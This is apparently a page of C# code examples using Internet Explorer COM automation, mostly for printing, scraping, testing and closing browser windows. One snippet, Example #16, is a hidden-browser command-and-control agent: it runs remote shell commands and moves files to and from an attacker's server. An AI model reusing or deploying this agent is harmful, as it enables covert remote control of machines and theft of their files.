Пример #1
0
        public void Print(string htmlFilename)
        {
            documentLoaded  = false;
            documentPrinted = false;

            InternetExplorer ie = new InternetExplorer();

            ie.DocumentComplete      += new DWebBrowserEvents2_DocumentCompleteEventHandler(ie_DocumentComplete);
            ie.PrintTemplateTeardown += new DWebBrowserEvents2_PrintTemplateTeardownEventHandler(ie_PrintTemplateTeardown);

            object missing = Missing.Value;

            ie.Navigate(htmlFilename, ref missing, ref missing, ref missing, ref missing);
            while (!documentLoaded && ie.QueryStatusWB(OLECMDID.OLECMDID_PRINT) != OLECMDF.OLECMDF_ENABLED)
            {
                Thread.Sleep(100);
            }

            ie.ExecWB(OLECMDID.OLECMDID_PRINT, OLECMDEXECOPT.OLECMDEXECOPT_DONTPROMPTUSER, ref missing, ref missing);
            while (!documentPrinted)
            {
                Thread.Sleep(100);
            }

            ie.DocumentComplete      -= ie_DocumentComplete;
            ie.PrintTemplateTeardown -= ie_PrintTemplateTeardown;
            ie.Quit();
        }
Пример #2
0
        /// <summary>
        /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
        /// </summary>
        /// <param name="disposing">True if disposing and false if otherwise.</param>
        protected override void Dispose(bool disposing)
        {
            if (!disposing)
            {
                return;
            }

            try
            {
                if (_browser == null || !AutoClose)
                {
                    return;
                }

                WaitForComplete();

                // We cannot allow the browser to close within a second.
                // I assume that add ons need time to start before closing the browser.
                var timeout = TimeSpan.FromMilliseconds(1000);
                while (Uptime <= timeout)
                {
                    Thread.Sleep(50);
                }

                _browser.Quit();
            }
            catch
            {
                _browser = null;
            }
        }
Пример #3
0
        public static string GetWebPageContentUnSafe(string uri, ILog logger)
        {
            AssertStaApartmentState();
            InternetExplorer internetExplorer = null;

            try
            {
                internetExplorer = GetInternetExplorer(logger);
                //Navigate to page
                internetExplorer.Navigate(uri);
                while (internetExplorer.ReadyState != tagREADYSTATE.READYSTATE_COMPLETE)
                {
                    Thread.Sleep(100);
                    logger.Info($"Waiting for '{uri}' to complete loading...");
                }
                logger.Info($"Done loading '{uri}'!");
                var document     = internetExplorer.Document;
                var parentWindow = document.parentWindow;
                parentWindow.execScript("var JSIEVariable = new XMLSerializer().serializeToString(document);", "javascript");
                var parentWindowType = parentWindow.GetType();
                var contentObject    = parentWindowType.InvokeMember("JSIEVariable", BindingFlags.GetProperty, null, parentWindow, null);
                var html             = contentObject.ToString();
                return(html);
            }
            finally
            {
                internetExplorer?.Quit();
            }
        }
Пример #4
0
 /// <summary>
 /// 親を閉じる
 /// </summary>
 private void CloseParentIe()
 {
     // 親の解放
     try
     {
         if (_parentIe != null)
         {
             if (!IsParentClosed)
             {
                 _parentIe.Quit();
             }
             IsParentClosed        = true;
             _parentIe.NewWindow3 -= IeOn_NewWindow3;
             _parentIe.OnQuit     -= IeOn_OnQuit;
         }
     }
     catch (Exception exception)
     {
         Console.WriteLine(exception);
     }
     finally
     {
         // リソースを解放
         Marshal.ReleaseComObject(_parentIe);
     }
 }
Пример #5
0
 public void Dispose()
 {
     if (_browser != null)
     {
         _browser.Quit();
     }
 }
Пример #6
0
        private void ProcessIExplore()
        {
            ShellWindows     ieShellWindows = new ShellWindows();
            string           sProcessType;
            InternetExplorer currentiexplore = null;

            foreach (InternetExplorer ieTab in ieShellWindows)
            {
                sProcessType = Path.GetFileNameWithoutExtension(ieTab.FullName).ToLower();
                if (sProcessType.Equals("iexplore") && !ieTab.LocationURL.Contains("about:Tabs"))
                {
                    currentiexplore = ieTab;
                }
            }

            if (currentiexplore != null)
            {
                if (currentiexplore.LocationURL.Equals(string.Empty))
                {
                    ProcessIExplore();
                }
                else
                {
                    Process.Start("chrome", currentiexplore.LocationURL);
                }
                currentiexplore.Quit();
                return;
            }
        }
Пример #7
0
 public static void TearDownIE()
 {
     if (ie != null)
     {
         ie.Quit();
         ie = null;  // COM side effect? Only this seems to close IE, not Quit()
     }
 }
Пример #8
0
        public void GetGroupsFromWebAndSaveToXML()
        {
            InternetExplorer ie = new InternetExplorer();

            GetGroupsFromWeb(ie, false);
            ie.Quit();
            SaveListToXML();
        }
        public static void CloseInternetExplorer()
        {
            if (IE != null)
            {
                IE.Stop();
                IE.Quit();
                Win32.SendMessage((IntPtr)IE.HWND, 16, new IntPtr(0), new IntPtr(0));

                IE = null;
            }
        }
Пример #10
0
        public bool QuitInstance(int key)
        {
            InternetExplorer ie = _ieWindows[key];

            try
            {
                ie.Quit();
                return(true);
            }
            catch (Exception)
            {
                return(false);
            }
        }
Пример #11
0
        public override object Suspend(SuspendInformation toSuspend)
        {
            var cabinetWindows = new ShellWindows()
                                 .Cast <InternetExplorer>()
                                 // TODO: Is there a safer way to guarantee that it is actually the explorer we expect it to be?
                                 // For some reason, the process CAN be both "Explorer", and "explorer".
                                 .Where(e => Path.GetFileNameWithoutExtension(e.FullName).IfNotNull(p => p.ToLower()) == "explorer")
                                 .ToList();

            var suspendedExplorerWindows = new List <ExplorerLocation>();

            foreach (Window window in toSuspend.Windows)
            {
                // Check whether the window is an explorer cabinet window. (file browser)
                InternetExplorer cabinetWindow = cabinetWindows.FirstOrDefault(e =>
                {
                    try
                    {
                        return(window.Handle.Equals(new IntPtr(e.HWND)));
                    }
                    catch (COMException)
                    {
                        // This exception is thrown when accessing 'HWND' for some windows.
                        // TODO: Why is this the case, and do we ever need to handle those windows?
                        return(false);
                    }
                });
                if (cabinetWindow != null)
                {
                    var persistedData = new ExplorerLocation
                    {
                        LocationName = cabinetWindow.LocationName,
                        LocationUrl  = cabinetWindow.LocationURL,
                        Pidl         = cabinetWindow.GetPidl()
                    };
                    cabinetWindow.Quit();
                    suspendedExplorerWindows.Add(persistedData);
                }

                // TODO: Support other explorer windows, e.g. property windows ...
            }

            return(suspendedExplorerWindows);
        }
Пример #12
0
        public void Register()
        {
            try
            {
                Ie = new IE("about:blank");
                Ie.GoTo("http://localhost/GuestBook/GuestBook.aspx");
                Ie.TextField(Find.ByName("name")).TypeText("Jay");
                Ie.TextField(Find.ByName("comments")).TypeText("Hello");
                Ie.Button(Find.ByName("save")).Click();

                Assert.AreEqual("Jay", Ie.TableCell(Find.By("innerText", "Jay")).Text, @"innerText does not match");
                Assert.AreEqual("Hello", Ie.TableCell(Find.By("innerText", "Hello")).Text, @"innerText does not match");
            }
            finally
            {
                if (Ie != null)
                {
                    InternetExplorer internetExplorer = (InternetExplorer)Ie.InternetExplorer;
                    internetExplorer.Quit();
                }
            }
        }
Пример #13
0
        private void SendPost(string input, string id)
        {
            InternetExplorer explorer = new InternetExplorer();

            explorer.Visible = true;
            explorer.Navigate($@"{consaddpostlink}{id}");
            while (explorer.Busy)
            {
                Thread.Sleep(100);
            }

            HTMLDocument doc = (HTMLDocument)explorer.Document;

            IHTMLElement field = doc.getElementById("text").parentElement.children.item(1, null);

            field.innerText = input;

            IHTMLElement button = doc.getElementById("previewButton").parentElement.children.item(0, null);

            button.click();

            explorer.Quit();
        }
Пример #14
0
        public void Print(string htmlFilename)
        {
            documentLoaded  = false;
            documentPrinted = false;

            InternetExplorer ie = new InternetExplorer();

            ie.DocumentComplete      += new DWebBrowserEvents2_DocumentCompleteEventHandler(ie_DocumentComplete);
            ie.PrintTemplateTeardown += new DWebBrowserEvents2_PrintTemplateTeardownEventHandler(ie_PrintTemplateTeardown);

            object missing = Missing.Value;

            ie.Navigate(htmlFilename, ref missing, ref missing, ref missing, ref missing);
            while (!documentLoaded && ie.QueryStatusWB(OLECMDID.OLECMDID_PRINT) != OLECMDF.OLECMDF_ENABLED)
            {
                Thread.Sleep(100);
            }

            ie.ExecWB(OLECMDID.OLECMDID_PRINT, OLECMDEXECOPT.OLECMDEXECOPT_DONTPROMPTUSER, ref missing, ref missing);

            // Wait until the IE is done sending to the printer
            while (!documentPrinted)
            {
                Thread.Sleep(100);
            }

            // Remove the event handlers
            ie.DocumentComplete      -= ie_DocumentComplete;
            ie.PrintTemplateTeardown -= ie_PrintTemplateTeardown;
            ie.Quit();

            // reset to original default printer if needed
            if (GetDefaultPrinterName() != originalDefaultPrinterName)
            {
                SetDefaultPrinter(originalDefaultPrinterName);
            }
        }
Пример #15
0
        public static string GetDBServer(string environment)
        {
            InternetExplorer IE    = new InternetExplorer();
            object           Empty = 0;
            object           URL   = "http://bdtools.sb.karmalab.net/envstatus/envstatus.cgi";

            IE.Visible = true;
            IE.Navigate2(ref URL, ref Empty, ref Empty, ref Empty, ref Empty);

            System.Threading.Thread.Sleep(10000);

            while (IE.Busy)
            {
                System.Threading.Thread.Sleep(100);
            }

            IHTMLDocument3 document = (IHTMLDocument3)IE.Document;

            HTMLSelectElement selGroups = (HTMLSelectElement)document.getElementById("group");
            HTMLDivElement    divSubmit = (HTMLDivElement)document.getElementById("submitbutton");
            HTMLButtonElement btnSubmit = (HTMLButtonElement)divSubmit.firstChild;

            if (environment == null || environment == "")
            {
                selGroups.value = "CHE-RC01";
            }
            else
            {
                selGroups.value = environment;
            }
            Console.WriteLine("environment: {0}", selGroups.value);
            btnSubmit.click();

            System.Threading.Thread.Sleep(10000);

            while (IE.Busy)
            {
                System.Threading.Thread.Sleep(100);
            }

            HTMLDivElement divSitesTable       = (HTMLDivElement)document.getElementById("sitestable");
            string         targetWebServerName = "";

            foreach (HTMLDTElement cell in divSitesTable.getElementsByTagName("td"))
            {
                bool isServerName = false;
                bool containHIMS  = false;

                HTMLDTElement webServerName = (HTMLDTElement)cell.firstChild;
                if (webServerName.innerText.Contains("CHELWEB"))
                {
                    isServerName = true;

                    foreach (HTMLAnchorElement link in cell.getElementsByTagName("a"))
                    {
                        if (link.innerText.Equals("everestadmintools.com"))
                        {
                            containHIMS         = true;
                            targetWebServerName = webServerName.innerText;
                            Console.WriteLine("web server: {0}", webServerName.innerText);
                            break;
                        }
                    }
                }
                if (isServerName && containHIMS)
                {
                    break;
                }
            }

            HTMLAreaElement targetWebServerSpan = (HTMLAreaElement)document.getElementById(targetWebServerName);
            HTMLTableCell   targetCell          = (HTMLTableCell)targetWebServerSpan.parentElement.parentElement;
            HTMLTableCell   dbServerName        = (HTMLTableCell)targetCell.nextSibling.nextSibling.nextSibling.nextSibling;
            string          targetDBServerName  = dbServerName.innerText;

            Console.WriteLine("database server: {0}", targetDBServerName);
            IE.Quit();

            return(targetDBServerName);
        }
Пример #16
0
        //==================================================================================================
        // Main function
        //==================================================================================================
        public void Run(string callbackURL, string prefix)
        {
            object           o  = null;
            InternetExplorer ie = new InternetExplorer();

            ie.Visible = false;

            //Do anything else with the window here that you wish
            ie.Navigate(callbackURL, ref o, ref o, ref o, ref o);

            while (ie.ReadyState != tagREADYSTATE.READYSTATE_COMPLETE)
            {
                Thread.Sleep(100);
            }

            IHTMLDocument3 ieDocument = ie.Document as IHTMLDocument3;
            IHTMLElement   button     = ieDocument.getElementById(prefix + "Button") as IHTMLElement;
            IHTMLElement   input      = ieDocument.getElementById(prefix + "Input") as IHTMLElement;
            IHTMLElement   output     = ieDocument.getElementById(prefix + "Output") as IHTMLElement;

            bool done = false;

            while (!done)
            {
                if (input.innerText != null)
                {
                    string[] inputParameters = input.innerText.Split('|');
                    string   command         = Encoding.UTF8.GetString(Convert.FromBase64String(inputParameters[0]));
                    input.innerText = String.Empty;

                    switch (command)
                    {
                    //--- Switch to CLI (shell) mode
                    case "cli":
                        string cli = Encoding.UTF8.GetString(Convert.FromBase64String(inputParameters[1]));
                        runShell(cli);

                        // We have no choice but leave some time to the child process to execute its command
                        // and write the result (hopefully all of it) to its StdOut. Only then we can get
                        // the shell output and return it to the C2
                        Thread.Sleep(500);     // Trade-off
                        output.innerText = Convert.ToBase64String(Encoding.UTF8.GetBytes(getShellOutput()));
                        break;

                    //--- Transfer file from agent to C2
                    case "tfa2c2":
                        string fileName = Encoding.UTF8.GetString(Convert.FromBase64String(inputParameters[1]));
                        try
                        {
                            output.innerText = Convert.ToBase64String(File.ReadAllBytes(fileName));
                        }
                        catch (Exception ex)
                        {
                            output.innerText = Convert.ToBase64String(Encoding.UTF8.GetBytes("Error reading file: [" + ex.Message + "]"));
                        }
                        break;

                    //--- Transfer file from C2 to agent
                    case "tfc22a":
                        byte[] fileBytes       = Convert.FromBase64String(inputParameters[1]);
                        string destinationPath = Encoding.UTF8.GetString(Convert.FromBase64String(inputParameters[2]));
                        fileName = Encoding.UTF8.GetString(Convert.FromBase64String(inputParameters[3]));
                        if (destinationPath == "temp")
                        {
                            destinationPath = Path.GetTempPath();
                        }

                        try
                        {
                            File.WriteAllBytes(destinationPath + fileName, fileBytes);
                            output.innerText = Convert.ToBase64String(Encoding.UTF8.GetBytes("File transfered successfully"));
                        }
                        catch (Exception ex)
                        {
                            output.innerText = Convert.ToBase64String(Encoding.UTF8.GetBytes("Error writing file: [" + ex.Message + "]"));
                        }
                        break;

                    //--- Stop the agent
                    case "stop":
                        output.innerText = Convert.ToBase64String(Encoding.UTF8.GetBytes("Agent terminating..."));
                        done             = true;
                        break;
                    }

                    button.click();
                }

                Thread.Sleep(100);
            }

            ie.Quit();
        }
Пример #17
0
        static void Main(string[] args)
        {
            // Note: The "local" URLs below can be achieved by adding entries to one's
            // hosts file (C:\Windows\System32\drivers\etc\hosts), similar to the following:
            //     127.0.0.1   www.seleniumhq-test.test
            //     127.0.0.1   www.seleniumhq- test-alternate.test
            // The "remote" URL can be any URL to a server not hosted on localhost.
            const string LocalBypassedUrl = "http://www.seleniumhq-test-alternate.test:2310/common/simpleTest.html";
            const string LocalProxiedUrl  = "http://www.seleniumhq-test.test:2310/common/simpleTest.html";
            const string RemoteUrl        = "http://webdriver-herald.herokuapp.com";

            // To avoid logging all of the traffic put through the proxy, set to false.
            bool   isLoggingDebugInfoFromProxy = true;
            string hostName = "127.0.0.1";

            Console.WriteLine("Starting proxy instance");
            StartProxyServer(hostName, isLoggingDebugInfoFromProxy);
            Console.WriteLine("Proxy started on {0}:{1}", hostName, server.ProxyEndPoint.Port);

            string proxySetting = string.Format("http={0}:{1}", hostName, server.ProxyEndPoint.Port);

            Console.WriteLine("Getting current proxy settings");
            var originalProxySettings = GetSystemProxySettings();

            Console.WriteLine("Generating custom proxy settings");
            var customProxySettings = CreateCustomProxySettings(proxySetting, "www.seleniumhq-test-alternate.test");

            Console.WriteLine("Launching Internet Explorer");
            InternetExplorer ie = new InternetExplorer();

            ie.Visible = true;

            Console.WriteLine("Setting proxy settings to custom settings");
            SetSystemProxySettings(customProxySettings);
            Thread.Sleep(5000);

            Console.WriteLine("Navigating to bypassed URL (should not be proxied)");
            ie.Navigate2(LocalBypassedUrl);
            Thread.Sleep(5000);

            Console.WriteLine("Navigating to local URL with hosts file alias (should be proxied)");
            ie.Navigate2(LocalProxiedUrl);
            Thread.Sleep(5000);

            Console.WriteLine("Navigating to non-local URL (should be proxied)");
            ie.Navigate2(RemoteUrl);
            Thread.Sleep(5000);

            Console.WriteLine("Restoring proxy settings to orignal settings");
            SetSystemProxySettings(originalProxySettings);

            Console.WriteLine("Closing Internet Explorer");
            ie.Quit();

            Console.WriteLine("Shutting down proxy on {0}:{1}", server.ProxyEndPoint.Address.ToString(), server.ProxyEndPoint.Port);
            StopProxyServer();
            Console.WriteLine("Proxy instance shut down");

            Console.WriteLine();
            Console.WriteLine("==================================");
            Console.WriteLine("Resources requested through proxy:");
            Console.WriteLine("----------------------------------");
            Console.WriteLine(string.Join("\n", uris.ToArray()));
            Console.WriteLine("==================================");
            Console.WriteLine();
            Console.WriteLine("Press <enter> to quit");
            Console.ReadLine();
        }
Пример #18
0
 public void CloseWebPage()
 {
     IE.Quit();
 }
Пример #19
0
 public void Close()
 {
     ie.DocumentComplete      -= IeDocumentComplete;
     ie.PrintTemplateTeardown -= IePrintTemplateTeardown;
     ie.Quit();
 }
Пример #20
0
        public void ReloadGroupServerDatabaseListAndSaveToXML()
        {
            inProgress = true;
            OnUpdated(EventArgs.Empty);

            GroupList        groupList = GroupList.instance;
            GroupServerList  gsl;
            ServerList       serverList = new ServerList();
            TravelServerList tsl;
            TravelServer     travelServer = new TravelServer();

            InternetExplorer ie = new InternetExplorer();

            groupList.GetGroupsFromWeb(ie, false);
            groupList.SaveListToXML();

            foreach (string group in groupList.groups)
            {
                //Get server pairs from files or web site
                serverList.groupName = group;
                if (group.ToUpper().Equals("PPE"))
                {
                    serverList.GetServersFromFile(null);
                }
                else
                {
                    serverList.GetServersFromWeb(ie, false);
                }
                //Save server pairs to XML file
                if (File.Exists(Serializer.CreateInstance().applicationFolder + "Servers.xml"))
                {
                    gsl = (Serializer.CreateInstance().DeserializeFromXML(typeof(GroupServerList), "Servers.xml") as GroupServerList);
                    gsl.groupServers.Remove(gsl.GetServerList(serverList.groupName));
                }
                else
                {
                    gsl = GroupServerList.CreateInstance();
                }
                gsl.groupServers.Add(serverList);
                gsl.SaveListToXML();

                foreach (Server serverPair in serverList.servers)
                {
                    //Get databases from registry
                    travelServer.MachineName = serverPair.travelServer;
                    travelServer.GetDatabasesFromRegistryAndChangeProgressBar(null);
                    //Save databases to XML file
                    if (File.Exists(Serializer.CreateInstance().applicationFolder + "Databases.xml"))
                    {
                        tsl = (Serializer.CreateInstance().DeserializeFromXML(typeof(TravelServerList), "Databases.xml") as TravelServerList);
                        tsl.travelServers.Remove(tsl.GetTravelServer(travelServer.MachineName));
                    }
                    else
                    {
                        tsl = TravelServerList.CreateInstance();
                    }
                    tsl.travelServers.Add(travelServer);
                    tsl.SaveListToXml();
                }
            }

            ie.Quit();
            inProgress = false;
            OnUpdated(EventArgs.Empty);
        }